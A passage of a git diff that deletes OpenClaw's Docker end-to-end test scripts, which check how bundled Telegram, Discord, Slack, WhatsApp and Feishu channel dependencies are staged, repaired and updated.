"$CHANNEL" -start_gateway "/tmp/openclaw-$CHANNEL-first.log" -wait_for_gateway_health "/tmp/openclaw-$CHANNEL-first.log" -assert_installed_once "/tmp/openclaw-$CHANNEL-first.log" "$CHANNEL" "$DEP_SENTINEL" -assert_dep_sentinel "$CHANNEL" "$DEP_SENTINEL" -assert_no_install_stage "$CHANNEL" -assert_channel_status "$CHANNEL" -stop_gateway - -echo "Restarting gateway again; $CHANNEL deps must stay installed..." -start_gateway "/tmp/openclaw-$CHANNEL-second.log" -wait_for_gateway_health "/tmp/openclaw-$CHANNEL-second.log" -assert_not_installed "/tmp/openclaw-$CHANNEL-second.log" "$CHANNEL" -assert_no_install_stage "$CHANNEL" -assert_channel_status "$CHANNEL" -stop_gateway - -echo "bundled $CHANNEL runtime deps Docker E2E passed" -EOF -} diff --git a/scripts/e2e/lib/bundled-channel/common.sh b/scripts/e2e/lib/bundled-channel/common.sh deleted file mode 100644 index 7a788e0811b..00000000000 --- a/scripts/e2e/lib/bundled-channel/common.sh +++ /dev/null @@ -1,137 +0,0 @@ -#!/usr/bin/env bash -# -# Container-side helpers shared by bundled channel Docker E2E scenarios. -# These functions assume the OpenClaw package is installed globally inside the -# test container and the scenario has exported HOME/OPENAI_API_KEY as needed. - -bundled_channel_package_root() { - printf "%s/openclaw" "$(npm root -g)" -} - -bundled_channel_stage_root() { - printf "%s/.openclaw/plugin-runtime-deps" "$HOME" -} - -bundled_channel_stage_dir() { - printf "%s" "${OPENCLAW_PLUGIN_STAGE_DIR:-$(bundled_channel_stage_root)}" -} - -bundled_channel_install_package() { - openclaw_e2e_install_package "$@" -} - -bundled_channel_find_external_dep_package() { - local dep_path="$1" - find "$(bundled_channel_stage_root)" -maxdepth 12 -path "*/node_modules/$dep_path/package.json" -type f -print -quit 2>/dev/null || true -} - -bundled_channel_find_staged_dep_package() { - local dep_path="$1" - find "$(bundled_channel_stage_dir)" -maxdepth 12 -path "*/node_modules/$dep_path/package.json" -type f -print -quit 2>/dev/null || true -} - -bundled_channel_dump_stage_dir() { - find "$(bundled_channel_stage_dir)" -maxdepth 12 -type f | sort | head -160 >&2 || true -} - -bundled_channel_assert_no_package_dep_available() { - local channel="$1" - local dep_path="$2" - local root="${3:-$(bundled_channel_package_root)}" - for candidate in \ - "$root/dist/extensions/$channel/node_modules/$dep_path/package.json" \ - "$root/dist/extensions/node_modules/$dep_path/package.json" \ - "$root/node_modules/$dep_path/package.json"; do - if [ -f "$candidate" ]; then - echo "packaged install should not mutate package tree for $channel: $candidate" >&2 - exit 1 - fi - done - if [ -f "$HOME/node_modules/$dep_path/package.json" ]; then - echo "bundled runtime deps should not use HOME npm project for $channel: $HOME/node_modules/$dep_path/package.json" >&2 - exit 1 - fi -} - -bundled_channel_assert_dep_available() { - local channel="$1" - local dep_path="$2" - local root="${3:-$(bundled_channel_package_root)}" - if [ -n "$(bundled_channel_find_external_dep_package "$dep_path")" ]; then - bundled_channel_assert_no_package_dep_available "$channel" "$dep_path" "$root" - return 0 - fi - echo "missing dependency sentinel for $channel: $dep_path" >&2 - find "$root/dist/extensions/$channel" -maxdepth 3 -type f | sort | head -80 >&2 || true - find "$root/node_modules" -maxdepth 3 -path "*/$dep_path/package.json" -type f -print >&2 || true - find "$(bundled_channel_stage_root)" -maxdepth 12 -type f | sort | head -120 >&2 || true - exit 1 -} - -bundled_channel_assert_no_dep_available() { - local channel="$1" - local dep_path="$2" - local root="${3:-$(bundled_channel_package_root)}" - bundled_channel_assert_no_package_dep_available "$channel" "$dep_path" "$root" - if [ -n "$(bundled_channel_find_external_dep_package "$dep_path")" ]; then - echo "dependency sentinel should be absent before repair for $channel: $dep_path" >&2 - exit 1 - fi -} - -bundled_channel_assert_no_staged_dep() { - local channel="$1" - local dep_path="$2" - local message="${3:-$channel unexpectedly staged $dep_path}" - if [ -n "$(bundled_channel_find_staged_dep_package "$dep_path")" ]; then - echo "$message" >&2 - bundled_channel_dump_stage_dir - exit 1 - fi -} - -bundled_channel_assert_staged_dep() { - local channel="$1" - local dep_path="$2" - local log_file="${3:-}" - if [ -n "$(bundled_channel_find_staged_dep_package "$dep_path")" ]; then - return 0 - fi - echo "missing external staged dependency sentinel for $channel: $dep_path" >&2 - if [ -n "$log_file" ]; then - cat "$log_file" >&2 || true - fi - bundled_channel_dump_stage_dir - exit 1 -} - -bundled_channel_assert_no_staged_manifest_spec() { - local channel="$1" - local dep_path="$2" - local log_file="${3:-}" - if ! node scripts/e2e/lib/bundled-channel/assert-no-staged-manifest-spec.mjs "$(bundled_channel_stage_dir)" "$dep_path"; then - echo "$channel unexpectedly selected $dep_path for external runtime deps" >&2 - if [ -n "$log_file" ]; then - cat "$log_file" >&2 || true - fi - exit 1 - fi -} - -bundled_channel_remove_runtime_dep() { - local channel="$1" - local dep_path="$2" - local root="${3:-$(bundled_channel_package_root)}" - rm -rf "$root/dist/extensions/$channel/node_modules" - rm -rf "$root/dist/extensions/node_modules/$dep_path" - rm -rf "$root/node_modules/$dep_path" - rm -rf "$(bundled_channel_stage_root)" -} - -bundled_channel_write_config() { - local mode="$1" - node scripts/e2e/lib/bundled-channel/write-config.mjs \ - "$mode" \ - "${TOKEN:-bundled-channel-config-token}" \ - "${PORT:-18789}" -} diff --git a/scripts/e2e/lib/bundled-channel/disabled-config.sh b/scripts/e2e/lib/bundled-channel/disabled-config.sh deleted file mode 100644 index dc87d5c4826..00000000000 --- a/scripts/e2e/lib/bundled-channel/disabled-config.sh +++ /dev/null @@ -1,63 +0,0 @@ -#!/usr/bin/env bash -# -# Runs disabled-config runtime-dependency isolation scenarios. -# Sourced by scripts/e2e/bundled-channel-runtime-deps-docker.sh. - -run_disabled_config_scenario() { - echo "Running bundled channel disabled-config runtime deps Docker E2E..." - run_bundled_channel_container_with_state \ - bundled-channel-disabled-config \ - "$DOCKER_RUN_TIMEOUT" \ - bundled-channel-disabled-config \ - "${DOCKER_E2E_PACKAGE_ARGS[@]}" \ - -i "$IMAGE_NAME" bash -s <<'EOF' -set -euo pipefail - -source scripts/lib/openclaw-e2e-instance.sh -source scripts/e2e/lib/bundled-channel/common.sh -openclaw_e2e_eval_test_state_from_b64 "${OPENCLAW_TEST_STATE_SCRIPT_B64:?missing OPENCLAW_TEST_STATE_SCRIPT_B64}" -export NPM_CONFIG_PREFIX="$HOME/.npm-global" -export PATH="$NPM_CONFIG_PREFIX/bin:$PATH" -export OPENCLAW_NO_ONBOARD=1 -export OPENCLAW_PLUGIN_STAGE_DIR="$HOME/.openclaw/plugin-runtime-deps" -mkdir -p "$OPENCLAW_PLUGIN_STAGE_DIR" - -assert_dep_absent_everywhere() { - local channel="$1" - local dep_path="$2" - local root="$3" - bundled_channel_assert_no_package_dep_available "$channel" "$dep_path" "$root" - bundled_channel_assert_no_staged_manifest_spec "$channel" "$dep_path" /tmp/openclaw-disabled-config-doctor.log -} - -bundled_channel_install_package /tmp/openclaw-disabled-config-install.log - -root="$(bundled_channel_package_root)" -test -d "$root/dist/extensions/telegram" -test -d "$root/dist/extensions/discord" -test -d "$root/dist/extensions/slack" -rm -rf "$root/dist/extensions/telegram/node_modules" -rm -rf "$root/dist/extensions/discord/node_modules" -rm -rf "$root/dist/extensions/slack/node_modules" - -bundled_channel_write_config disabled-config - -if ! openclaw doctor --non-interactive >/tmp/openclaw-disabled-config-doctor.log 2>&1; then - echo "doctor failed for disabled-config runtime deps smoke" >&2 - cat /tmp/openclaw-disabled-config-doctor.log >&2 - exit 1 -fi - -assert_dep_absent_everywhere telegram grammy "$root" -assert_dep_absent_everywhere slack @slack/web-api "$root" -assert_dep_absent_everywhere discord discord-api-types "$root" - -if grep -Eq "(grammy|@slack/web-api|discord-api-types)" /tmp/openclaw-disabled-config-doctor.log; then - echo "doctor installed runtime deps for an explicitly disabled channel/plugin" >&2 - cat /tmp/openclaw-disabled-config-doctor.log >&2 - exit 1 -fi - -echo "bundled channel disabled-config runtime deps Docker E2E passed" -EOF -} diff --git a/scripts/e2e/lib/bundled-channel/guided-whatsapp-setup.mjs b/scripts/e2e/lib/bundled-channel/guided-whatsapp-setup.mjs deleted file mode 100644 index 4dac06b6905..00000000000 --- a/scripts/e2e/lib/bundled-channel/guided-whatsapp-setup.mjs +++ /dev/null @@ -1,85 +0,0 @@ -#!/usr/bin/env node -import { readdir } from "node:fs/promises"; -import path from "node:path"; -import { pathToFileURL } from "node:url"; - -const root = process.argv[2] || process.env.OPENCLAW_PACKAGE_ROOT; -if (!root) { - throw new Error("missing package root"); -} - -const distDir = path.join(root, "dist"); -const onboardChannelFiles = (await readdir(distDir)) - .filter((entry) => /^onboard-channels-.*\.js$/.test(entry)) - .toSorted(); -let setupChannels; -for (const entry of onboardChannelFiles) { - const module = await import(pathToFileURL(path.join(distDir, entry))); - if (typeof module.setupChannels === "function") { - setupChannels = module.setupChannels; - break; - } -} -if (!setupChannels) { - throw new Error( - `could not find packaged setupChannels export in ${JSON.stringify(onboardChannelFiles)}`, - ); -} - -let channelSelectCount = 0; -const notes = []; -const prompter = { - intro: async () => {}, - outro: async () => {}, - note: async (body, title) => { - notes.push({ title, body }); - }, - confirm: async ({ message, initialValue }) => { - if (message === "Link WhatsApp now (QR)?") { - return false; - } - return initialValue ?? true; - }, - select: async ({ message, options }) => { - if (message === "Select a channel") { - channelSelectCount += 1; - return channelSelectCount === 1 ? "whatsapp" : "__done__"; - } - if (message === "Install WhatsApp plugin?") { - if (!options?.some((option) => option.value === "local")) { - throw new Error(`missing bundled local install option: ${JSON.stringify(options)}`); - } - return "local"; - } - if (message === "WhatsApp phone setup") { - return "separate"; - } - if (message === "WhatsApp DM policy") { - return "disabled"; - } - throw new Error(`unexpected select prompt: ${message}`); - }, - multiselect: async ({ message }) => { - throw new Error(`unexpected multiselect prompt: ${message}`); - }, - text: async ({ message }) => { - throw new Error(`unexpected text prompt: ${message}`); - }, -}; -const runtime = { - log: (message) => console.log(message), - error: (message) => console.error(message), -}; - -const result = await setupChannels({ plugins: { enabled: true } }, runtime, prompter, { - deferStatusUntilSelection: true, - skipConfirm: true, - skipStatusNote: true, - skipDmPolicyPrompt: true, - initialSelection: ["whatsapp"], -}); - -if (!result.channels?.whatsapp) { - throw new Error(`WhatsApp setup did not write channel config: ${JSON.stringify(result)}`); -} -console.log("packaged guided WhatsApp setup completed"); diff --git a/scripts/e2e/lib/bundled-channel/load-failure.sh b/scripts/e2e/lib/bundled-channel/load-failure.sh deleted file mode 100644 index 72438052ab4..00000000000 --- a/scripts/e2e/lib/bundled-channel/load-failure.sh +++ /dev/null @@ -1,34 +0,0 @@ -#!/usr/bin/env bash -# -# Runs load-failure isolation scenarios. -# Sourced by scripts/e2e/bundled-channel-runtime-deps-docker.sh. - -run_load_failure_scenario() { - echo "Running bundled channel load-failure isolation Docker E2E..." - run_bundled_channel_container_with_state \ - bundled-channel-load-failure \ - "$DOCKER_RUN_TIMEOUT" \ - bundled-channel-load-failure \ - "${DOCKER_E2E_PACKAGE_ARGS[@]}" \ - -i "$IMAGE_NAME" bash -s <<'EOF' -set -euo pipefail - -source scripts/lib/openclaw-e2e-instance.sh -source scripts/e2e/lib/bundled-channel/common.sh -openclaw_e2e_eval_test_state_from_b64 "${OPENCLAW_TEST_STATE_SCRIPT_B64:?missing OPENCLAW_TEST_STATE_SCRIPT_B64}" -export NPM_CONFIG_PREFIX="$HOME/.npm-global" -export PATH="$NPM_CONFIG_PREFIX/bin:$PATH" -export OPENCLAW_NO_ONBOARD=1 - -bundled_channel_install_package /tmp/openclaw-load-failure-install.log - -root="$(bundled_channel_package_root)" -plugin_dir="$root/dist/extensions/load-failure-alpha" -node scripts/e2e/lib/bundled-channel/write-load-failure-fixture.mjs "$plugin_dir" - -echo "Loading synthetic failing bundled channel through packaged loader..." -node scripts/e2e/lib/bundled-channel/loader-probe.mjs load-failure "$root" load-failure-alpha - -echo "bundled channel load-failure isolation Docker E2E passed" -EOF -} diff --git a/scripts/e2e/lib/bundled-channel/loader-probe.mjs b/scripts/e2e/lib/bundled-channel/loader-probe.mjs deleted file mode 100644 index 3add66ba35d..00000000000 --- a/scripts/e2e/lib/bundled-channel/loader-probe.mjs +++ /dev/null @@ -1,121 +0,0 @@ -#!/usr/bin/env node -import fs from "node:fs"; -import path from "node:path"; -import { pathToFileURL } from "node:url"; - -function usage() { - console.error("Usage: loader-probe.mjs [channel...]"); - process.exit(2); -} - -function findBundledLoader(root) { - const distDir = path.join(root, "dist"); - const bundledPath = fs - .readdirSync(distDir) - .filter((entry) => /^bundled-[A-Za-z0-9_-]+\.js$/.test(entry)) - .map((entry) => path.join(distDir, entry)) - .find((entry) => fs.readFileSync(entry, "utf8").includes("src/channels/plugins/bundled.ts")); - if (!bundledPath) { - throw new Error("missing packaged bundled channel loader artifact"); - } - return bundledPath; -} - -function namedExport(module, name) { - const fn = Object.values(module).find( - (value) => typeof value === "function" && value.name === name, - ); - if (typeof fn !== "function") { - throw new Error( - `missing packaged bundled loader export ${name}; exports=${Object.keys(module).join(",")}`, - ); - } - return fn; -} - -async function importBundled(root) { - return import(pathToFileURL(findBundledLoader(root))); -} - -function loadCounts() { - return { - plugin: globalThis.__loadFailurePlugin, - setup: globalThis.__loadFailureSetup, - secrets: globalThis.__loadFailureSecrets, - setupSecrets: globalThis.__loadFailureSetupSecrets, - }; -} - -function exerciseLoaders(loaders, id) { - for (const [name, fn] of loaders) { - try { - fn(id); - } catch (error) { - const message = error instanceof Error ? error.message : String(error); - if (message.includes("synthetic")) { - throw new Error(`bundled export ${name} leaked synthetic load failure: ${message}`, { - cause: error, - }); - } - } - } -} - -const [command, root, ...args] = process.argv.slice(2); -if (!command || !root) { - usage(); -} - -if (command === "load-failure") { - process.env.OPENCLAW_BUNDLED_PLUGINS_DIR = path.join(root, "dist/extensions"); -} - -const bundled = await importBundled(root); - -if (command === "setup-entries") { - const channels = args.length > 0 ? args : ["feishu", "whatsapp"]; - const setupPluginLoader = namedExport(bundled, "getBundledChannelSetupPlugin"); - for (const channel of channels) { - const plugin = setupPluginLoader(channel); - if (!plugin) { - throw new Error(`${channel} setup plugin did not load pre-config`); - } - if (plugin.id !== channel) { - throw new Error(`${channel} setup plugin id mismatch: ${plugin.id}`); - } - console.log(`${channel} setup plugin loaded pre-config`); - } -} else if (command === "load-failure") { - const id = args[0] || "load-failure-alpha"; - const loaderNames = [ - "getBundledChannelPlugin", - "getBundledChannelSetupPlugin", - "getBundledChannelSecrets", - "getBundledChannelSetupSecrets", - ]; - const loaders = loaderNames.map((name) => [name, namedExport(bundled, name)]); - - exerciseLoaders(loaders, id); - const firstCounts = loadCounts(); - exerciseLoaders(loaders, id); - const secondCounts = loadCounts(); - for (const key of ["plugin", "setup", "setupSecrets"]) { - const first = firstCounts[key]; - if (!Number.isInteger(first) || first < 1) { - throw new Error(`expected ${key} failure to be exercised at least once, got ${first}`); - } - if (secondCounts[key] !== first) { - throw new Error( - `expected ${key} failure to be cached after first pass, got ${first} then ${secondCounts[key]}`, - ); - } - } - if (firstCounts.secrets !== undefined && secondCounts.secrets !== firstCounts.secrets) { - throw new Error( - `expected secrets failure to be cached after first pass, got ${firstCounts.secrets} then ${secondCounts.secrets}`, - ); - } - console.log("synthetic bundled channel load failures were isolated and cached"); -} else { - usage(); -} diff --git a/scripts/e2e/lib/bundled-channel/package-version-from-tgz.mjs b/scripts/e2e/lib/bundled-channel/package-version-from-tgz.mjs deleted file mode 100644 index b0fa9ede611..00000000000 --- a/scripts/e2e/lib/bundled-channel/package-version-from-tgz.mjs +++ /dev/null @@ -1,6 +0,0 @@ -import { execFileSync } from "node:child_process"; - -const raw = execFileSync("tar", ["-xOf", process.argv[2], "package/package.json"], { - encoding: "utf8", -}); -process.stdout.write(String(JSON.parse(raw).version)); diff --git a/scripts/e2e/lib/bundled-channel/root-owned.sh b/scripts/e2e/lib/bundled-channel/root-owned.sh deleted file mode 100644 index 741300932f2..00000000000 --- a/scripts/e2e/lib/bundled-channel/root-owned.sh +++ /dev/null @@ -1,124 +0,0 @@ -#!/usr/bin/env bash -# -# Runs the root-owned global install runtime-dependency scenario. -# Sourced by scripts/e2e/bundled-channel-runtime-deps-docker.sh. - -run_root_owned_global_scenario() { - echo "Running bundled channel root-owned global install Docker E2E..." - run_bundled_channel_container bundled-channel-root-owned "$DOCKER_RUN_TIMEOUT" \ - --user root \ - -e COREPACK_ENABLE_DOWNLOAD_PROMPT=0 \ - "${DOCKER_E2E_PACKAGE_ARGS[@]}" \ - -i "$IMAGE_NAME" bash -s <<'EOF' -set -euo pipefail - -source scripts/lib/openclaw-e2e-instance.sh -source scripts/e2e/lib/bundled-channel/common.sh -export HOME="/root" -export OPENAI_API_KEY="sk-openclaw-bundled-channel-root-owned-e2e" -export OPENCLAW_NO_ONBOARD=1 -export OPENCLAW_PLUGIN_STAGE_DIR="/var/lib/openclaw/plugin-runtime-deps" - -TOKEN="bundled-channel-root-owned-token" -PORT="18791" -CHANNEL="slack" -DEP_SENTINEL="@slack/web-api" -gateway_pid="" - -cleanup() { - if [ -n "${gateway_pid:-}" ] && kill -0 "$gateway_pid" 2>/dev/null; then - kill "$gateway_pid" 2>/dev/null || true - wait "$gateway_pid" 2>/dev/null || true - fi -} -trap cleanup EXIT - -bundled_channel_install_package /tmp/openclaw-root-owned-install.log "mounted OpenClaw package into root-owned global npm" - -root="$(bundled_channel_package_root)" -test -d "$root/dist/extensions/$CHANNEL" -rm -rf "$root/dist/extensions/$CHANNEL/node_modules" -chmod -R a-w "$root" -mkdir -p "$OPENCLAW_PLUGIN_STAGE_DIR" /home/appuser/.openclaw -chown -R appuser:appuser /home/appuser/.openclaw /var/lib/openclaw - -if runuser -u appuser -- test -w "$root"; then - echo "expected package root to be unwritable for appuser" >&2 - exit 1 -fi - -OPENCLAW_BUNDLED_CHANNEL_CONFIG_PATH=/home/appuser/.openclaw/openclaw.json \ - OPENCLAW_BUNDLED_CHANNEL_SLACK_BOT_TOKEN=xoxb-bundled-channel-root-owned-token \ - OPENCLAW_BUNDLED_CHANNEL_SLACK_APP_TOKEN=xapp-bundled-channel-root-owned-token \ - bundled_channel_write_config slack -chown appuser:appuser /home/appuser/.openclaw/openclaw.json - -start_gateway() { - local log_file="$1" - : >"$log_file" - chown appuser:appuser "$log_file" - runuser -u appuser -- env \ - HOME=/home/appuser \ - OPENAI_API_KEY="$OPENAI_API_KEY" \ - OPENCLAW_NO_ONBOARD=1 \ - OPENCLAW_PLUGIN_STAGE_DIR="$OPENCLAW_PLUGIN_STAGE_DIR" \ - npm_config_cache=/tmp/openclaw-root-owned-npm-cache \ - bash -c 'openclaw gateway --port "$1" --bind loopback --allow-unconfigured >"$2" 2>&1' \ - bash "$PORT" "$log_file" & - gateway_pid="$!" - - # Cold bundled dependency staging can exceed 60s under 10-way Docker aggregate load. - for _ in $(seq 1 1200); do - if grep -Eq "listening on ws://|\\[gateway\\] http server listening|\\[gateway\\] ready( \\(|$)" "$log_file"; then - return 0 - fi - if ! kill -0 "$gateway_pid" 2>/dev/null; then - echo "gateway exited unexpectedly" >&2 - cat "$log_file" >&2 - exit 1 - fi - sleep 0.25 - done - - echo "timed out waiting for gateway" >&2 - cat "$log_file" >&2 - exit 1 -} - -wait_for_slack_provider_start() { - for _ in $(seq 1 180); do - if grep -Eq "\\[slack\\] \\[default\\] starting provider|An API error occurred: invalid_auth|\\[plugins\\] slack installed bundled runtime deps|\\[gateway\\] ready \\(.*\\bslack\\b" /tmp/openclaw-root-owned-gateway.log; then - return 0 - fi - sleep 1 - done - echo "timed out waiting for slack provider startup" >&2 - cat /tmp/openclaw-root-owned-gateway.log >&2 - exit 1 -} - -start_gateway /tmp/openclaw-root-owned-gateway.log -wait_for_slack_provider_start - -bundled_channel_assert_no_package_dep_available "$CHANNEL" "$DEP_SENTINEL" "$root" -bundled_channel_assert_staged_dep "$CHANNEL" "$DEP_SENTINEL" /tmp/openclaw-root-owned-gateway.log -if [ -e "$root/dist/extensions/node_modules/openclaw/package.json" ]; then - echo "root-owned package tree was mutated with SDK alias" >&2 - find "$root/dist/extensions/node_modules/openclaw" -maxdepth 4 -type f | sort | head -80 >&2 || true - exit 1 -fi -if ! find "$(bundled_channel_stage_dir)" -maxdepth 12 -path "*/dist/extensions/node_modules/openclaw/package.json" -type f | grep -q .; then - echo "missing external staged openclaw/plugin-sdk alias" >&2 - bundled_channel_dump_stage_dir - cat /tmp/openclaw-root-owned-gateway.log >&2 - exit 1 -fi -if grep -Eq "failed to install bundled runtime deps|Cannot find package 'openclaw'|Cannot find module 'openclaw/plugin-sdk'" /tmp/openclaw-root-owned-gateway.log; then - echo "root-owned gateway hit bundled runtime dependency errors" >&2 - cat /tmp/openclaw-root-owned-gateway.log >&2 - exit 1 -fi - -echo "root-owned global install Docker E2E passed" -EOF -} diff --git a/scripts/e2e/lib/bundled-channel/setup-entry.sh b/scripts/e2e/lib/bundled-channel/setup-entry.sh deleted file mode 100644 index cc8a8ec1189..00000000000 --- a/scripts/e2e/lib/bundled-channel/setup-entry.sh +++ /dev/null @@ -1,67 +0,0 @@ -#!/usr/bin/env bash -# -# Runs setup-entry runtime-dependency installation scenarios. -# Sourced by scripts/e2e/bundled-channel-runtime-deps-docker.sh. - -run_setup_entry_scenario() { - echo "Running bundled channel setup-entry runtime deps Docker E2E..." - run_bundled_channel_container_with_state \ - bundled-channel-setup-entry \ - "$DOCKER_RUN_TIMEOUT" \ - bundled-channel-setup-entry \ - "${DOCKER_E2E_PACKAGE_ARGS[@]}" \ - -i "$IMAGE_NAME" bash -s <<'EOF' -set -euo pipefail - -source scripts/lib/openclaw-e2e-instance.sh -source scripts/e2e/lib/bundled-channel/common.sh -openclaw_e2e_eval_test_state_from_b64 "${OPENCLAW_TEST_STATE_SCRIPT_B64:?missing OPENCLAW_TEST_STATE_SCRIPT_B64}" -export NPM_CONFIG_PREFIX="$HOME/.npm-global" -export PATH="$NPM_CONFIG_PREFIX/bin:$PATH" -export OPENCLAW_NO_ONBOARD=1 -export OPENCLAW_PLUGIN_STAGE_DIR="$HOME/.openclaw/plugin-runtime-deps" -mkdir -p "$OPENCLAW_PLUGIN_STAGE_DIR" - -declare -A SETUP_ENTRY_DEP_SENTINELS=( - [feishu]="@larksuiteoapi/node-sdk" - [whatsapp]="@whiskeysockets/baileys" -) - -bundled_channel_install_package /tmp/openclaw-setup-entry-install.log - -root="$(bundled_channel_package_root)" -for channel in "${!SETUP_ENTRY_DEP_SENTINELS[@]}"; do - dep_sentinel="${SETUP_ENTRY_DEP_SENTINELS[$channel]}" - test -d "$root/dist/extensions/$channel" - bundled_channel_assert_no_package_dep_available "$channel" "$dep_sentinel" "$root" -done - -echo "Probing real bundled setup entries before channel configuration..." -node scripts/e2e/lib/bundled-channel/loader-probe.mjs setup-entries "$root" feishu whatsapp - -for channel in "${!SETUP_ENTRY_DEP_SENTINELS[@]}"; do - dep_sentinel="${SETUP_ENTRY_DEP_SENTINELS[$channel]}" - bundled_channel_assert_no_package_dep_available "$channel" "$dep_sentinel" "$root" - bundled_channel_assert_no_staged_dep "$channel" "$dep_sentinel" "setup-entry discovery installed $channel external staged deps before channel configuration" -done - -echo "Running packaged guided WhatsApp setup; runtime deps should be staged before finalize..." -node scripts/e2e/lib/bundled-channel/guided-whatsapp-setup.mjs "$root" - -bundled_channel_assert_no_package_dep_available whatsapp @whiskeysockets/baileys "$root" -bundled_channel_assert_staged_dep whatsapp @whiskeysockets/baileys - -echo "Configuring setup-entry channels; doctor should now install bundled runtime deps externally..." -bundled_channel_write_config setup-entry-channels - -openclaw doctor --fix --non-interactive >/tmp/openclaw-setup-entry-doctor.log 2>&1 - -for channel in "${!SETUP_ENTRY_DEP_SENTINELS[@]}"; do - dep_sentinel="${SETUP_ENTRY_DEP_SENTINELS[$channel]}" - bundled_channel_assert_no_package_dep_available "$channel" "$dep_sentinel" "$root" - bundled_channel_assert_staged_dep "$channel" "$dep_sentinel" /tmp/openclaw-setup-entry-doctor.log -done - -echo "bundled channel setup-entry runtime deps Docker E2E passed" -EOF -} diff --git a/scripts/e2e/lib/bundled-channel/update.sh b/scripts/e2e/lib/bundled-channel/update.sh deleted file mode 100644 index c8657dd8340..00000000000 --- a/scripts/e2e/lib/bundled-channel/update.sh +++ /dev/null @@ -1,178 +0,0 @@ -#!/usr/bin/env bash -# -# Runs baseline-to-current bundled plugin update scenarios. -# Sourced by scripts/e2e/bundled-channel-runtime-deps-docker.sh. - -run_update_scenario() { - echo "Running bundled channel runtime deps Docker update E2E..." - run_bundled_channel_container_with_state_heartbeat \ - bundled-channel-update \ - 30 \ - "$DOCKER_UPDATE_RUN_TIMEOUT" \ - bundled-channel-update \ - -e OPENCLAW_BUNDLED_CHANNEL_UPDATE_BASELINE_VERSION="$UPDATE_BASELINE_VERSION" \ - -e "OPENCLAW_BUNDLED_CHANNEL_UPDATE_TARGETS=${OPENCLAW_BUNDLED_CHANNEL_UPDATE_TARGETS:-telegram,discord,slack,feishu,memory-lancedb,acpx}" \ - "${DOCKER_E2E_PACKAGE_ARGS[@]}" \ - -i "$IMAGE_NAME" bash -s <<'EOF' -set -euo pipefail - -source scripts/lib/openclaw-e2e-instance.sh -source scripts/e2e/lib/bundled-channel/common.sh -openclaw_e2e_eval_test_state_from_b64 "${OPENCLAW_TEST_STATE_SCRIPT_B64:?missing OPENCLAW_TEST_STATE_SCRIPT_B64}" -export NPM_CONFIG_PREFIX="$HOME/.npm-global" -export PATH="$NPM_CONFIG_PREFIX/bin:$PATH" -export OPENAI_API_KEY="sk-openclaw-bundled-channel-update-e2e" -export OPENCLAW_NO_ONBOARD=1 -export OPENCLAW_UPDATE_PACKAGE_SPEC="" -export OPENCLAW_BUNDLED_CHANNEL_MEMORY_DB_PATH="~/.openclaw/memory/lancedb-update-e2e" - -TOKEN="bundled-channel-update-token" -PORT="18790" -UPDATE_TARGETS="${OPENCLAW_BUNDLED_CHANNEL_UPDATE_TARGETS:-telegram,discord,slack,feishu,memory-lancedb,acpx}" - -poison_home_npm_project() { - printf '{"name":"openclaw-home-prefix-poison","private":true}\n' >"$HOME/package.json" - rm -rf "$HOME/node_modules" - mkdir -p "$HOME/node_modules" - chmod 500 "$HOME/node_modules" -} - -assert_no_unknown_stage_roots() { - if find "$(bundled_channel_stage_root)" -maxdepth 1 -type d -name 'openclaw-unknown-*' -print -quit 2>/dev/null | grep -q .; then - echo "runtime deps created second-generation unknown stage roots" >&2 - find "$(bundled_channel_stage_root)" -maxdepth 1 -type d -name 'openclaw-*' -print | sort >&2 || true - exit 1 - fi -} - -package_tgz="${OPENCLAW_CURRENT_PACKAGE_TGZ:?missing OPENCLAW_CURRENT_PACKAGE_TGZ}" -update_target="file:$package_tgz" -candidate_version="$(node scripts/e2e/lib/bundled-channel/package-version-from-tgz.mjs "$package_tgz")" - -assert_update_ok() { - local json_file="$1" - local expected_before="$2" - node scripts/e2e/lib/bundled-channel/assert-update-result.mjs "$json_file" "$expected_before" "$candidate_version" -} - -run_update_and_capture() { - local label="$1" - local out_file="$2" - set +e - openclaw update --tag "$update_target" --yes --json >"$out_file" 2>"/tmp/openclaw-$label-update.stderr" - local status=$? - set -e - if [ "$status" -ne 0 ]; then - echo "openclaw update failed for $label with exit code $status" >&2 - cat "$out_file" >&2 || true - cat "/tmp/openclaw-$label-update.stderr" >&2 || true - exit "$status" - fi -} - -should_run_update_target() { - local target="$1" - case ",$UPDATE_TARGETS," in - *",all,"* | *",$target,"*) return 0 ;; - *) return 1 ;; - esac -} - -echo "Update targets: $UPDATE_TARGETS" -bundled_channel_install_package /tmp/openclaw-update-baseline-install.log "current candidate as update baseline" -command -v openclaw >/dev/null -poison_home_npm_project -baseline_root="$(bundled_channel_package_root)" -test -d "$baseline_root/dist/extensions/telegram" -test -d "$baseline_root/dist/extensions/feishu" -test -d "$baseline_root/dist/extensions/acpx" - -if should_run_update_target telegram; then - echo "Replicating configured Telegram missing-runtime state..." - bundled_channel_write_config telegram - bundled_channel_assert_no_dep_available telegram grammy - set +e - openclaw doctor --non-interactive >/tmp/openclaw-baseline-doctor.log 2>&1 - baseline_doctor_status=$? - set -e - echo "baseline doctor exited with $baseline_doctor_status" - bundled_channel_remove_runtime_dep telegram grammy - bundled_channel_assert_no_dep_available telegram grammy - - echo "Updating from baseline to current candidate; candidate doctor must repair Telegram deps..." - run_update_and_capture telegram /tmp/openclaw-update-telegram.json - cat /tmp/openclaw-update-telegram.json - assert_update_ok /tmp/openclaw-update-telegram.json "$candidate_version" - bundled_channel_assert_dep_available telegram grammy - assert_no_unknown_stage_roots - - echo "Mutating installed package: remove Telegram deps, then update-mode doctor repairs them..." - bundled_channel_remove_runtime_dep telegram grammy - bundled_channel_assert_no_dep_available telegram grammy - if ! OPENCLAW_UPDATE_IN_PROGRESS=1 openclaw doctor --non-interactive >/tmp/openclaw-update-mode-doctor.log 2>&1; then - echo "update-mode doctor failed while repairing Telegram deps" >&2 - cat /tmp/openclaw-update-mode-doctor.log >&2 - exit 1 - fi - bundled_channel_assert_dep_available telegram grammy - assert_no_unknown_stage_roots -fi - -if should_run_update_target discord; then - echo "Mutating config to Discord and rerunning same-version update path..." - bundled_channel_write_config discord - bundled_channel_remove_runtime_dep discord discord-api-types - bundled_channel_assert_no_dep_available discord discord-api-types - run_update_and_capture discord /tmp/openclaw-update-discord.json - cat /tmp/openclaw-update-discord.json - assert_update_ok /tmp/openclaw-update-discord.json "$candidate_version" - bundled_channel_assert_dep_available discord discord-api-types -fi - -if should_run_update_target slack; then - echo "Mutating config to Slack and rerunning same-version update path..." - bundled_channel_write_config slack - bundled_channel_remove_runtime_dep slack @slack/web-api - bundled_channel_assert_no_dep_available slack @slack/web-api - run_update_and_capture slack /tmp/openclaw-update-slack.json - cat 